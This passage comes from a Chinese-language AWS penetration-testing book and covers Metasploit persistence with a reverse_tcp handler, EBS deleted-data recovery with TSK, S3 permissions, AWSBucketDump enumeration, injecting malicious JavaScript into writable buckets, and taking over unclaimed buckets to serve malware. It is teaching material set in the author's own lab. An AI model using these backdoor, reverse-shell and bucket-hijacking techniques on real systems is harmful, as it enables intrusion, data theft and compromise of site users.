  1. 重新进入 meterpreter 会话,输入以下命令:
run post/windows/manage/persistence_exe REXEPATH=/tmp/evil.exe REXENAME=default.exe STARTUP=USER LocalExePath=C:\\tmp

上述命令的输出如下:

让我们检查一下我们的持久性是否有效。为了验证这一点,在 meterpreter 会话中,重新启动目标服务器并退出 meterpreter 会话。从 meterpreter 会话中输入以下命令:

reboot

通过运行exit命令退出 meterpreter 会话。

现在,我们设置 Metasploit 监听传入连接。依次输入以下命令:

use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <<Kali IP Address>>
set LPORT 4444
run

我们从目标服务器获得了一个新的传入连接:

因此,我们成功地为我们的受损服务器创建了一个后门,并创建了持久访问。这结束了我们的练习。这种持久访问现在可以用于横向移动,并允许我们攻击网络中的其他机器。

摘要

本章介绍了如何设置一个易受攻击的 EC2 环境,模拟一个受限网络,然后对其进行渗透测试。我们学习了如何以易受攻击的方式配置 Jenkins 服务器。随后,我们学习了如何设置 Nexpose 漏洞扫描器,然后对我们易受攻击的 Jenkins 服务器进行了漏洞扫描。此外,我们学习了如何使用 Metasploit 对 Jenkins 进行自动化利用,并使用 meterpreter 有效载荷来在受限网络内进行主机转移和横向移动。

这就是第五章的结束。在下一章中,我们将学习关于 EBS 卷、磁盘加密和卷快照。此外,我们将学习如何进行取证分析,并从 EBS 卷中恢复丢失的数据。

进一步阅读

第六章:弹性块存储和快照 - 检索已删除的数据

本章向您介绍了通过 AWS 提供的不同存储选项,扩展了第三章中介绍的信息,即在 Kali Linux 上利用云。在这里,我们专注于创建独立的弹性块存储EBS)卷,从多个 EC2 实例中附加和分离卷,并挂载分离的卷以从之前的 EC2 实例和 EBS 快照中检索数据。本章还涵盖了从 EBS 卷中取回已删除数据的取证过程。这突出了在针对 AWS 基础架构进行后期利用过程中的一个非常重要的部分,因为检查 EBS 卷和快照是获取敏感数据(如密码)的一种非常简单的方式。

在本章中,我们将涵盖以下内容:

  • 在 EC2 实例中创建、附加和分离新的 EBS 卷

  • 加密 EBS 卷

  • 在 EC2 实例中挂载 EBS 卷以检索数据

  • 从 EBS 卷中提取已删除的数据以查找敏感信息

技术要求

本章将使用以下工具:

  • 侦探工具包(TSK)

EBS 卷类型和加密

EBS 存储可以广泛分为两种不同的存储类型——固态硬盘SSD)和硬盘驱动器HDD):

  • 基于 SSD 的卷针对频繁读/写操作和小 I/O 大小的事务工作负载进行了优化,其中主要的性能属性是每秒 I/O 操作IOPS)。

  • 基于 HDD 的卷针对大型流式工作负载进行了优化,其中吞吐量(以 MiB/s 为单位)是比 IOPS 更好的性能指标。

EBS 有四种主要的存储类型,每种都适用于特定的用例:

  • 通用型 SSD(GP2)卷:这些是成本效益高的存储解决方案,适用于各种工作负载的通用用途。这些卷可以在较长时间内维持 3,000 IOPS,最少 100 IOPS,最多 10,000 IOPS。GP2 卷提供非常低的延迟,并且可以按每 GB 3 IOPS 进行扩展。GP2 卷的空间可以分配在 1GB 到 16TB 之间。

  • 预配置 IOPS SSD(IO1)卷:这些比 GP2 卷快得多,提供的性能也更高。IO1 卷可以维持 100 到 32,000 IOPS,比 GP2 多三倍以上。这种存储类型专为 I/O 密集型操作(如数据库)而设计。AWS 还允许您在创建 IO1 卷时指定 IOPS 速率,AWS 可以持续提供。IO1 卷的预配置范围为最少 4GB 到最大 16TB。

  • 吞吐量优化的 HDD(ST1):ST1 是一种基于磁存储盘而不是 SSD 的低成本存储解决方案。这些不能用作可引导卷;相反,它们最适合存储频繁访问的数据,如日志处理和数据仓库。这些卷只能在 1GB 到 1TB 的范围内。

  • 冷 HDD(SC1):SC1 卷,虽然与 ST1 卷相似,但不适用于保存频繁访问的数据。这些也是低成本的磁存储卷,不能用作可引导的卷。与 ST1 类似,这些卷只能在 1GB 到 1TB 的范围内。

从 EC2 实例中创建、附加和分离新的 EBS 卷

在本教程中,我们将学习如何在 Ubuntu EC2 实例上创建、附加和挂载 EBS 卷。然后我们将创建和删除一些文件,分离它,然后尝试提取已删除的数据:

  1. 转到 EC2 | 卷并创建一个新卷。在本练习中,我们创建一个额外的 8GB 大小的卷:

如果要对卷进行加密(这是可选的),请执行以下步骤:

    1. 选择“加密此卷”的复选框
  1. 选择要在主密钥下使用的密钥管理服务(KMS)客户主密钥(CMK)

  2. 选择创建卷

  3. 选择创建的卷,右键单击,然后选择附加卷选项。

  4. 从实例文本框中选择 Ubuntu 实例:

  1. 通过 SSH 进入 Ubuntu 实例,并使用以下命令列出可用磁盘:
lsblk

这将列出您附加到实例的磁盘。在这种情况下,我们可以看到一个名为/dev/xvdf的设备。

  1. 使用以下命令检查卷是否有任何数据:
sudo file -s /dev/xvdf

如果前面的命令输出显示/dev/xvdf: data,这意味着您的卷是空的。

  1. 现在我们将需要将卷格式化为ext4文件系统。为此,请发出以下命令:
sudo mkfs -t ext4 /dev/xvdf
  1. 接下来,我们将创建一个目录来挂载我们的新的ext4卷。在这里,我们使用名称newvolume
sudo mkdir /newvolume
  1. 最后,我们使用以下命令将卷挂载到newvolume目录:
sudo mount /dev/xvdf /newvolume/
  1. 您可以进入newvolume目录并检查磁盘空间以确认卷挂载:
cd /newvolume
df -h .
  1. 一旦卷被附加,我们就可以向其写入数据。我们将创建一个data.txt文件并向其写入一些数据。然后将删除此文件,并稍后尝试使用 TSK 恢复文件:
sudo touch data.txt
sudo chmod 666 data.txt
echo "Hello World" > data.txt
  1. 现在让我们删除文件,稍后我们将恢复它:
sudo rm -rf data.txt
  1. 是时候分离卷了。我们将首先卸载卷;退出文件夹并发出此命令:
sudo umount -d /dev/xvdf

现在,让我们从 EC2 实例中分离卷:

  1. https://console.aws.amazon.com/ec2/上打开 Amazon EC2 控制台。

  2. 在导航窗格中,选择卷。

  3. 选择一个卷并选择操作|分离卷:

  1. 在确认对话框中,选择是。

因此,我们已成功从 EC2 实例中分离了卷。

从 EBS 卷中提取已删除的数据

在我们的下一个活动中,我们将学习如何将卷附加到我们的 Kali 机器,然后使用取证来恢复已删除的数据。在进行实际操作之前,让我们了解一下取证是什么,以及数据恢复是如何工作的。

数字取证数据分析(FDA)属于数字取证范畴,是恢复和分析数据以了解数据创建方式,并在网络犯罪和欺诈案件中获取数字证据的方法。数据恢复可以在包括移动设备、存储设备和服务器在内的一系列设备上进行。涉及的技术包括数据解密和日志的二进制反向工程分析。

在数据恢复方面,我们面临两种类型的数据;即持久数据(写入驱动器并且易于访问)和易失性数据(临时数据,很有可能丢失)。那么,我们如何从驱动器中恢复数据?为了理解这一点,我们首先需要了解文件系统是什么,以及数据是如何存储在驱动器中的。

文件系统是操作系统用于组织数据的数据结构和算法的组合。每个操作系统都有不同类型的文件系统来组织和跟踪数据。让我们来看看最受欢迎的操作系统使用的典型文件系统:

  • Windows:通常使用新技术文件系统(NTFS);其他支持的文件系统包括文件分配表(FAT)/FAT32 和弹性文件系统(ReFS)

  • Linux:支持多种类型的文件系统,如扩展文件系统(XFS)、Ext2/3/4、ReiserFS 和日志文件系统(JFS)/JFS2

  • macOS:早期的苹果设备使用分层文件系统加(HFS+)文件系统;自 macOS High Sierra 起,改为 Apple 文件系统(APFS)。

  • BSD/Solaris/Unix:Unix 文件系统(UFS)/UFS2

在此演示中,我们正在使用通常使用扩展ext)文件系统的 Linux 操作系统。那么,在 Linux 文件系统中如何存储和检索数据呢?文件在文件系统中被视为一系列字节。所有文件都使用一种称为索引节点inodes)的数据结构进行存储。每个文件被分配一个唯一的inode编号。每个目录都有一个将文件名映射到其inode编号的表。Inodes 包含指向文件的磁盘块的指针。当我们在目录中访问文件时,操作系统会查找目录表并获取给定文件名的inode。Inodes 还包含其他属性,如所有者和权限。

您可以使用ls -l -i命令在目录中看到文件的inode编号。

在删除数据时,Ext4 文件系统会清理文件节点,然后使用新释放的空间更新数据结构。这意味着只有文件的元数据被删除,文件本身仍然存在于磁盘上。这是至关重要的,因为我们将使用 inode 来计算和找出已删除文件的位置。

了解了这一点,让我们看看如何通过计算 inode 来恢复数据。

与之前所做的类似,转到 EC2 | 卷,并选择我们从 Ubuntu 机器上卸载的卷:

  1. 选择附加,然后将其附加到您的 Kali 机器:

  1. 一旦卷被附加,使用lsblk标识分区;镜像将是/dev/xvdf
sudo lsblk

使用 TSK(取证框架),让我们尝试恢复data.txt文件。

  1. 检查镜像上的文件系统:
sudo mmls /dev/xvdf
  1. 使用 Linux 分区的起始扇区地址列出文件:
sudo fls -o <OFFSET> /dev/xvdf

您可以从0偏移开始,然后相应地计算后续的inode编号。

  1. 获取文件的inode编号:
sudo fls -o <OFFSET> /dev/xvdf <inode of data.txt>
  1. 使用icat来恢复我们删除的文件:
sudo icat -o <OFFSET> -r /dev/xvdf <inode-file-to-recover> > /tmp/data

如果打印/tmp/data的内容,您将发现我们之前写入的"Hello World"

EBS 卷上的全盘加密

通过 Amazon 的 KMS 实现数据加密,通过强制执行强加密标准以及管理和保护密钥本身来实现。数据使用 AES 256 位加密算法进行加密,这被认为是最佳的数据加密标准之一。亚马逊还确保这些标准绝对符合1996 年健康保险可移植性和责任法案HIPAA)、支付卡行业PCI)和国家标准与技术研究所NIST)。

以下进行加密:

  • 卷内的静态数据

  • 从卷创建的所有快照

  • 所有磁盘 I/O

那么,数据是如何加密的呢?AWS 使用 CMK 来加密 EBS 卷。CMK 默认包含在 AWS 的每个区域中。数据可以使用包含的 CMK 加密,或者用户可以使用 AWS KMS 创建新的 CMK。AWS 使用 CMK 为每个存储卷分配数据密钥。当卷附加到 EC2 实例时,数据密钥用于加密所有静态数据。数据密钥的副本也被加密并存储在卷中。EC2 实例上的数据加密是无缝的,并且在加密或解密数据时几乎没有延迟。

所有类型的 EBS 卷都支持全盘加密。但是,并非所有 EC2 实例都支持加密卷。

只有以下 EC2 实例支持 EBS 加密:

  • 通用型:A1、M3、M4、M5、M5d、T2 和 T3

  • 计算优化:C3、C4、C5、C5d 和 C5n

  • 内存优化:cr1.8xlarge、R3、R4、R5、R5d、X1、X1e 和 z1d

  • 存储优化:D2、h1.2xlarge、h1.4xlarge、I2 和 I3

  • 加速计算:F1、G2、G3、P2 和 P3

  • 裸金属:i3.metal、m5.metal、m5d.metal、r5.metal、r5d.metal、u-6tb1.metal、u-9tb1.metal、u-12tb1.metal 和 z1d.metal

任何加密存储卷的快照默认都是加密的,从这些快照创建的任何卷也默认是加密的。您可以同时将加密和未加密的存储卷附加到 EC2 实例。

创建加密卷

让我们看看如何加密 EBS 卷:

  1. 转到 AWS EC2 页面,确保 Ubuntu 服务器正在运行。

  2. 现在是创建新的 EBS 存储卷的时候了。在左侧找到弹性块存储,然后单击卷:

  1. 单击创建卷,输入以下详细信息:

  1. 勾选标记为加密的框。您可以选择内置的主密钥 aws/ebs,或者您可以从 KMS 服务创建自己的主密钥:

  1. 选择主密钥并创建卷。一旦卷成功创建,您可以单击关闭按钮:

附加和挂载加密卷

一旦卷创建完成,我们将把卷附加到我们的 Ubuntu EC2 实例:

  1. 转到 EBS | Volumes,并勾选我们刚刚创建的卷的框。

  2. 单击操作,选择附加卷:

  1. 在弹出部分,选择要附加的 Ubuntu EC2 实例,并选择附加:

  1. SSH 进入 Ubuntu 实例并检查我们附加的卷;然后发出以下命令:
lsblk

与以前一样,这将列出我们附加到实例的磁盘。在这种情况下,我们可以再次看到一个名为/dev/xvdf的设备。

  1. 让我们再次将卷格式化为ext4
sudo mkfs -t ext4 /dev/xvdf
  1. 然后将卷挂载到文件夹:
sudo mount /dev/xvdf /newvolume/
  1. 让我们创建另一个数据文件;稍后我们将删除此文件并尝试再次恢复它:
sudo touch data.txt
sudo chmod 666 data.txt
echo "Hello World" > data.txt
  1. 现在让我们删除文件:
sudo rm -rf data.txt
  1. 然后按以下步骤卸载驱动器:
sudo umount -d /dev/xvdf
  1. 最后,在 AWS 的 EC2 仪表板上,转到 EBS | Volumes。

  2. 选择加密驱动器,单击操作,然后单击分离卷:

  1. 最后,在弹出窗口中,选择是,分离:

我们有一个加密的 EBS 卷,其中写入了数据,然后删除了。接下来,我们将看看是否可以再次检索数据。

从加密卷中检索数据

现在让我们看看是否可以从加密卷中检索数据:

  1. 转到 EBS | Volumes 并选择加密卷。

  2. 单击附加卷;这次,在弹出的警报中,将卷附加到我们的 Kali 机器上:

  1. 一旦卷被附加,SSH 进入 Kali 机器。发出以下命令以识别卷:
lsblk

使用 TSK(取证框架),让我们尝试恢复data.txt文件。

  1. 检查图像上的文件系统:
sudo mmls /dev/xvdf
  1. 使用 Linux 分区的起始扇区地址列出文件:
sudo fls -o <OFFSET> /dev/xvdf

您可以从0偏移开始,然后相应地计算后续的inode编号。

  1. 获取文件的inode编号:
sudo fls -o <OFFSET> /dev/xvdf <inode of data.txt>

由于驱动器是完全加密的,因此在发出此命令时,您将不会得到任何返回值。因此,由于您没有inode编号,您无法从驱动器中检索任何数据。

因此,似乎我们可以通过完全磁盘加密防止删除的数据被恢复。

总结

在本章中,我们了解了 EC2 实例可用的不同类型的存储以及它们的使用方式。我们还了解了数据加密和亚马逊的 KMS。我们通过 EBS 块存储的使用步骤,为 EC2 实例创建额外的存储并将其挂载到 EC2 实例中。此外,我们还学习了如何使用 TSK 通过内存分析从 EBS 存储卷中恢复丢失的数据。

为了保护我们的数据,我们学习了如何使用 AWS KMS 对 EBS 卷进行加密,以加密静态数据。我们还看到了如何使用全盘加密来防止某人检索敏感数据。

这就是本章的结束。在下一章中,我们将学习关于 S3 存储以及如何识别易受攻击的 S3 存储桶。我们还将看到 S3 存储桶踢的操作以及如何利用易受攻击的 S3 存储桶。

进一步阅读

第三部分:渗透测试 AWS 简单存储服务配置和安全。

本节涵盖了识别和利用易受攻击和配置错误的 S3 存储桶的过程。

本节将涵盖以下章节:

  • 第七章,“侦察-识别易受攻击的 S3 存储桶”

  • 第八章,“利用宽松的 S3 存储桶获取乐趣和利润”

第七章:侦察-识别易受攻击的 S3 存储桶

简单存储服务S3)存储桶是 AWS 基础设施中最受欢迎的攻击面之一,也是最容易受到黑客攻击的攻击面。

本章解释了 AWS S3 存储桶的概念,它们的用途以及如何设置和访问它们。然而,本章的主要重点是各种 S3 存储桶权限、识别配置不当或过于宽松的存储桶的不同方法,以及连接到这些存储桶。最后,我们将重点关注基于域名和子域名的自动化方法,以识别多个地区中易受攻击的 S3 存储桶,并探测它们的权限,以找到潜在的易受攻击的存储桶。

在本章中,我们将涵盖以下主题:

  • 设置我们的第一个 S3 存储桶

  • 探索 AWS S3 权限和访问 API

  • 从一个易受攻击的 S3 存储桶中读取和写入

设置您的第一个 S3 存储桶

我们将首先前往 S3 主页,网址为s3.console.aws.amazon.com/s3/

  1. 在 S3 主页上,点击“创建存储桶”:

  1. 在下一页上,为您的存储桶分配一个名称:

在分配存储桶名称时,您必须遵循以下准则:

    • 为您的 S3 存储桶使用唯一的、符合域名系统(DNS)的名称。
  • 存储桶名称必须至少为 3 个字符,最多为 63 个字符。

  • 不允许使用大写字符或下划线。

  • 存储桶名称可以以小写字母或数字开头。

  • 存储桶名称可以包含小写字母、数字和连字符。存储桶名称也可以根据标签使用(.)字符进行分隔。

  • 不要以 IP 地址的形式格式化存储桶名称(例如,172.16.1.3)。

  1. 如果愿意,您可以选择地理区域;我们将为我们的存储桶命名为kirit-bucket

  2. 点击“创建存储桶”,您的存储桶将被创建:

一旦存储桶启动运行,您应该能够上传对象到存储桶中。如果你想知道对象是什么,它可以是任何文件,比如图像文件、音乐文件、视频文件或文档。

  1. 要上传一个对象,点击存储桶并选择“上传”:

文件浏览器将打开,您可以上传任何您想要的文件。

  1. 要下载一个对象,只需勾选对象的复选框,然后选择“下载”:

S3 权限和访问 API

S3 存储桶有两种权限系统。第一种是访问控制策略ACPs),主要由 Web UI 使用。这是一个简化的权限系统,为其他权限系统提供了一层抽象。另外,我们有IAM 访问策略,这是给您提供权限的 JSON 对象。

权限适用于存储桶或对象。存储桶权限就像主钥;为了让某人访问对象,您需要先让他们访问存储桶,然后再让他们访问对象本身。

S3 存储桶对象可以从 WebGUI 访问,就像我们之前看到的那样。否则,它们可以使用aws s3 cmdlet 从 AWS 命令行界面(CLI)访问。您可以使用它来上传、下载或删除存储桶对象。

为了使用 AWS CLI 上传和下载对象,我们可以采取以下方法:

  1. 首先安装awscli
sudo apt install awscli
  1. 使用新用户凭证配置awscli。为此,我们需要访问密钥 ID 和秘密访问密钥。要获取这些信息,请按照以下步骤进行:

  2. 登录到您的 AWS 管理控制台

  3. 点击页面右上角的用户名

  4. 从下拉菜单中点击“安全凭证”链接

  5. 找到“访问凭证”部分,并复制最新的访问密钥 ID

  6. 单击同一行中的“显示”链接,并复制“秘密访问密钥”

  7. 一旦您获得了这些,发出以下命令:

aws configure

输入您的访问密钥 ID 和秘密访问密钥。请记住不要公开此信息,以确保您的帐户安全。您可以将默认区域和输出格式设置为无。

  1. 一旦您的帐户设置好了,就可以非常容易地访问 S3 存储桶的内容:
aws s3 ls s3://kirit-bucket

在前面的代码中,kirit-bucket将被替换为您的存储桶名称。

  1. 如果要在存储桶内遍历目录,只需在前面的输出中列出的目录名称后面加上/,例如,如果我们有一个名为new的文件夹:
aws s3 ls s3://kirit-bucket/new
  1. 要将文件上传到 S3 存储桶,发出cp命令,后跟文件名和目标存储桶的完整文件路径:
aws s3 cp abc.txt s3://kirit-bucket/new/abc.txt
  1. 要在 S3 存储桶上删除文件,发出rm命令,后跟完整的文件路径:
aws s3 rm s3://kirit-bucket/new/abc.txt

ACPs/ACLs

访问控制列表ACLs)的概念与可用于允许访问 S3 存储桶的防火墙规则非常相似。每个 S3 存储桶都附有 ACL。这些 ACL 可以配置为向 AWS 帐户或组提供对 S3 存储桶的访问权限。

有四种主要类型的 ACLs:

  • 读取:具有读取权限的经过身份验证的用户将能够查看存储桶内对象的文件名、大小和最后修改信息。他们还可以下载他们有权限访问的任何对象。

  • 写入:经过身份验证的用户有权限读取和删除对象。用户还可以删除他们没有权限的对象;此外,他们可以上传新对象。

  • read-acp:经过身份验证的用户可以查看他们有权限访问的任何存储桶或对象的 ACL。

  • write-acp:经过身份验证的用户可以修改他们有权限访问的任何存储桶或对象的 ACL。

一个对象最多只能有 20 个策略,这些策略是前面四种类型的组合,针对特定的受让人。受让人是指任何个人 AWS 帐户(即电子邮件地址)或预定义组。IAM 帐户不能被视为受让人。

存储桶策略

每个 S3 存储桶都附有存储桶策略,可以应用于存储桶内和其中的对象。在多个存储桶的情况下,可以轻松复制策略。可以通过指定资源(例如"data/*")将策略应用于单个文件夹。这将使策略适用于文件夹中的每个对象。

您可以使用 Web UI 向 S3 存储桶添加策略。该操作位于存储桶属性页面的权限选项卡下:

接下来,我们将看到如何为 IAM 用户配置存储桶访问权限。

IAM 用户策略

为了向单个 IAM 帐户提供 S3 访问权限,我们可以使用 IAM 用户策略。这是一种为任何 IAM 帐户提供受限访问权限的非常简单的方法。

IAM 用户策略在必须将 ACL 权限应用于特定 IAM 帐户时非常方便。如果您在犹豫是使用 IAM 还是存储桶策略,一个简单的经验法则是确定权限是针对多个存储桶中的特定用户,还是您有多个用户,每个用户都需要自己的权限集。在这种情况下,IAM 策略比存储桶策略更合适,因为存储桶策略仅限于 20 KB。

访问策略

访问策略是描述授予任何用户对对象或存储桶的权限的细粒度权限。它们以 JSON 格式描述,并可分为三个主要部分:"Statement""Action""Resource"

以下是 JSON 格式的存储桶策略示例:

{
    "Version": "2008-02-27",
    "Statement": [
     {
            "Sid": "Statement",
            "Effect": "Allow",
            "Principal": {
            "AWS": "arn:aws:iam::Account-ID:user/kirit"
        },
        "Action": [
            "s3:GetBucketLocation",
            "s3:ListBucket",
            "s3:GetObject"
        ],
        "Resource": [
            "arn:aws:s3:::kirit-bucket"
        ]
     }
  ]
}

JSON 对象有三个主要部分。首先,在"Statement"部分中,我们可以看到有两点需要注意——“Effect”:“Allow”,以及包含“AWS”:“arn:aws:iam::Account-ID:user/kirit”的"Principal"部分。这基本上意味着"kirit"用户帐户被授予对对象的权限。

其次是“操作”部分,描述了用户被允许的权限。我们可以看到用户被允许列出"s3:ListBucket"存储桶内的对象,并从"s3:GetObject"存储桶下载对象。

最后,“资源”部分描述了授予权限的资源。综合起来,策略总结为允许kirit用户帐户在名为kirit-bucket的存储桶下GetBucketLocationListBucketGetObject

创建易受攻击的 S3 存储桶

在下一个练习中,我们将尝试从一个对整个世界公开的易受攻击的 S3 存储桶中读取和写入。为此,我们将设置一个 S3 存储桶,并故意使其易受攻击,使其可以公开读取和写入。

我们将首先转到 S3 主页(s3.console.aws.amazon.com/s3/)并创建一个可以公开访问的易受攻击的存储桶:

  1. 创建一个新的 S3 存储桶。

  2. 存储桶创建后,选择存储桶,然后单击“编辑所选存储桶的公共访问设置”:

  1. 取消选中所有复选框,然后单击保存。这样做是为了删除对存储桶施加的任何访问限制:

  1. AWS 将要求您确认更改;在字段中键入confirm并单击确认:

  1. 单击存储桶,然后在侧边栏上单击“权限”选项卡:

  1. 转到访问控制列表,在公共访问下,单击“所有人”。侧边栏将打开;启用所有复选框。这告诉 AWS 允许公共访问存储桶;这就是使存储桶容易受攻击的原因:

  1. 单击保存,存储桶将变为公开。

现在我们有了易受攻击的存储桶,我们可以将一些对象上传到其中并使它们公开;例如,我们将一个小文本文件上传到存储桶中:

  1. 创建一个小文本文档。

  2. 输入您的存储桶并单击上传:

  1. 选择文件并上传。

文件上传后,单击对象,您将收到一个 S3 URL,以从外部访问对象。您可以简单地将浏览器指向 URL 以访问存储桶:

对象 URL 链接位于页面底部,如前面的屏幕截图所示。

我们的易受攻击的 S3 存储桶现在已经设置并对公众开放;任何人都可以读取或写入该存储桶。

在下一章中,我们将学习如何识别此类易受攻击的存储桶,并使用 AWSBucketDump 外部传输数据。

摘要

在本章中,我们学习了什么是 S3 存储桶,如何设置 S3 存储桶以及如何在 S3 存储桶上授予访问权限。我们详细了解了 S3 权限,以及每种权限适用的方式和位置。我们演示了如何设置 AWS CLI 并通过 CLI 访问 S3 存储桶。我们还了解了可以使 S3 存储桶易受攻击的设置类型。最后,我们设置了我们自己的易受攻击的 S3 存储桶,这将在下一章中使用。

在下一章中,我们将学习如何利用 S3 存储桶。我们将研究用于利用易受攻击的 S3 存储桶的工具。此外,我们将学习在利用易受攻击的 S3 存储桶后可以应用的各种后利用技术。

进一步阅读

第八章:利用宽松的 S3 存储桶进行娱乐和利润。

利用 S3 存储桶并不仅限于读取敏感信息。例如,包含在 S3 存储桶中的 JavaScript 可以被设置后门,以影响加载受感染 JavaScript 的 Web 应用程序的所有用户。

本章将介绍利用易受攻击的 S3 存储桶的过程,以识别被 Web 应用程序加载的 JS 文件,并在其中设置后门以获得全用户妥协。除此之外,还将重点放在识别易受攻击的 S3 存储桶中存储的敏感凭据和其他数据机密,并利用这些内容来实现对连接应用程序的进一步妥协。

在本章中,我们将涵盖以下主题:

  • 从暴露的 S3 存储桶中提取敏感数据

  • 向 S3 存储桶注入恶意代码

  • 为了持久访问后门 S3 存储桶

从暴露的 S3 存储桶中提取敏感数据

在之前的第七章中,侦察-识别易受攻击的 S3 存储桶,我们学习了如何通过使其公开可用来创建易受攻击的存储桶。在本章中,我们将学习如何识别易受攻击的存储桶,并尝试从每个存储桶中提取数据。

因此,一旦存储桶设置好,我们将尝试从外部人员的角度攻击易受攻击的存储桶。为了实现这一点,我们将使用AWSBucketDump工具。这是一个非常方便的工具,用于识别易受攻击的 S3 存储桶。AWSBucketDump工具可以在 GitHub 页面github.com/jordanpotti/AWSBucketDump上找到。

让我们看看如何使用AWSBucketDump提取敏感数据:

  1. 克隆该工具并cd到该文件夹中:
git clone https://github.com/jordanpotti/AWSBucketDump
cd AWSBucketDump

接下来,我们将需要配置工具使用字典来暴力破解并找到易受攻击的 S3 存储桶。

  1. 在任何文本编辑器中打开BucketNames.txt文件。该文件包含一个有限的单词列表,用于识别开放的存储桶。但是,您可以使用更大的单词列表来增加击中开放存储桶的机会。

  2. 为了演示目的,我们将在单词列表中添加bucket关键字。

这里的单词非常常见,那么我们如何识别与我们目标组织特定的存储桶?我们将把组织的名称作为这些单词的前缀。由于我们的存储桶名为kirit-bucket,我们将在单词列表中的每个单词前添加kirit作为前缀。为此,我们将使用vim来使我们的工作更容易。

  1. vim中打开BucketNames.txt文件:
vim BucketNames.txt
  1. vim中,为每个单词添加前缀,发出以下命令:
:%s/^/kirit-/g
or :%s/^/<<prefix>>/g 
  1. 使用以下命令保存文本文件:
:wq
  1. 创建一个空文件:
touch found.txt
  1. 在运行AWSBucketDump之前,我们需要确保满足所有 Python 依赖关系。为此,有一个名为requirements.txt的文本文件,其中列出了所有所需的 Python 模块。我们只需要安装它们。使用以下命令:
sudo pip install -r requirements.txt
  1. 现在,是时候运行AWSBucketDump了。发出以下命令:
python AWSBucketDump.py -D -l BucketNames.txt -g interesting_Keywords.txt

脚本将使用单词列表,然后尝试暴力破解并找到公开的 S3 存储桶。然后将列出的任何开放的存储桶使用interesting_Keywords.txt中的关键字进行搜索。

从脚本输出中,我们可以看到AWSBucketDump找到了开放的存储桶:

在下一节中,我们将看到如何可以在一个易受攻击的 S3 存储桶中设置后门并注入恶意代码。

向 S3 存储桶注入恶意代码

如果一个 Web 应用程序正在从一个公开可写的 S3 存储桶中获取其内容会发生什么?让我们考虑这样一个情景,您有一个 Web 应用程序,它从一个 S3 存储桶中加载所有内容(图像、脚本等)。如果这个存储桶偶然被公开给全世界,攻击者可以上传他的恶意.js文件到 S3 存储桶,然后被 Web 应用程序渲染。

为了演示目的,我们将设置一个非常基本的 HTML 页面,链接到托管在 S3 存储桶上的 JavaScript 文件:

<!DOCTYPE html>
 <html >
 <head>
<!--Link JavaScript---->
 <script type="text/javascript" src="img/vulnscript.js"></script>
 <!--Vulnerable JavaScript-->
</head>
 <body><!-- Your web--></body>
 </html>

正如你所看到的,页面调用了托管在 S3 上的.js 文件(s3.us-east-2.amazonaws.com/kirit-bucket/vulnscript.js)。我们已经找出了如何识别有漏洞的 S3 存储桶。如果这个存储桶也有漏洞,我们可以上传我们自己的恶意 vulnscript.js 文件。

当下次网页加载时,它将自动运行我们的恶意.js 脚本:

  1. 首先创建一个恶意的.js 脚本,弹出一个警报,类似于 XSS 攻击。为了演示,我们将使用以下 Javascript 代码:
alert("XSS")
  1. 把它放在一个文件中,并以与在 HTML 代码中找到的文件相同的名称保存。

  2. 在最后一章中,我们学习了如何使用 AWS CLI 上传文件。同样地,将你的 js 文件上传到有漏洞的存储桶:

aws s3 cp vulnscript.js s3://kirit-bucket/vulnscript.js --acl public-read
  1. 现在,再次访问 Web 应用程序,它将加载和呈现有漏洞的脚本。你应该会得到一个典型的 XSS 弹出警报:

在接下来的部分,我们将看到如何在 S3 存储桶中设置后门,以侵害用户的计算机。

为了持久访问后门 S3 存储桶

S3 存储桶有时可能被遗弃。也就是说,可能存在应用程序和/或脚本向不存在的 S3 存储桶发出请求。

为了演示这样的情况,让我们假设一个 S3 存储桶的 URL 是s3bucket.example.com.s3-website.ap-south-1.amazonaws.com

这个 URL 可能绑定到组织的子域(例如data.example.net),以混淆 AWS S3 URL。这是通过添加替代域名(CNAMEs)来实现的。

然而,随着时间的推移,绑定到 URL 的存储桶data.example.net可能被删除,但 CNAME 记录仍然存在。因此,攻击者可以创建一个与未认领存储桶同名的 S3 存储桶,并上传恶意文件以提供服务。当受害者访问 URL 时,他将得到恶意内容。

你如何识别这个漏洞?

  1. 寻找一个错误页面,上面显示 404 Not Found 的消息和 NoSuchBucket 消息。为了实现这一点,我们可以枚举特定主机的子域,并寻找说存储桶未找到的错误页面,如下面的截图所示:

  1. 一旦发现了这样一个未认领的存储桶,就在与 URL 相同的地区创建一个同名的 S3 存储桶。

  2. 在新创建的 S3 存储桶上部署恶意内容。

当网站的任何用户尝试访问有漏洞的 URL 时,攻击者存储桶中的恶意内容将呈现在受害者的网站上。攻击者可以上传恶意软件到存储桶,然后提供给用户。

让我们假设一个应用程序正在调用一个未被认领的 S3 存储桶。该应用程序请求安装程序文件,下载它们,然后执行脚本。如果存储桶被遗弃,攻击者可以劫持存储桶并上传恶意软件,从而提供持久访问。

在 HackerOne 的漏洞赏金计划中可以找到这样的案例研究hackerone.com/reports/399166

正如我们所看到的,脚本从 S3 存储桶中获取.tgz 文件,解压并在受害者的设备上执行文件。攻击者可以利用这个漏洞上传一个持久的后门到 S3 存储桶中:

当受害者运行脚本时,它将下载包含恶意脚本的.tgz 文件,解压并在受害者的计算机上执行恶意软件。

进一步阅读

github.com/jordanpotti/AWSBucketDump

然而,需要注意的是,这种漏洞高度依赖于调用未声明的 S3 存储桶的脚本。

在下一章中,我们将学习如何对 AWS Lambda 进行渗透测试。我们将研究如何利用有漏洞的 Lambda 实例,并学习端口利用方法,比如从受损的 AWS Lambda 中进行枢轴攻击。

hackerone.com/reports/172549

  • 在上一章的延续中,我们学习了如何利用有漏洞的 S3 存储桶。我们进行了AWSBucketDump的演示,以及如何使用它来从有漏洞的 S3 存储桶中转储数据。此外,我们还学习了如何利用未声明的 S3 存储桶,以及如何在有漏洞和/或未声明的 S3 存储桶中植入后门和注入恶意代码。

  • 总结

  • aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/

第四部分:AWS 身份访问管理配置和安全性

在本节中,我们将看看 AWS IAM 以及如何使用它、Boto3 和 Pacu 来提升我们的权限并在目标 AWS 账户中建立持久性。

本节将涵盖以下章节:

  • 第九章,《AWS 上的身份访问管理》

  • 第十章,《使用盗窃的密钥、Boto3 和 Pacu 提升 AWS 账户权限》

  • 第十一章,《使用 Boto3 和 Pacu 维持 AWS 持久性》

第九章:AWS 上的身份访问管理

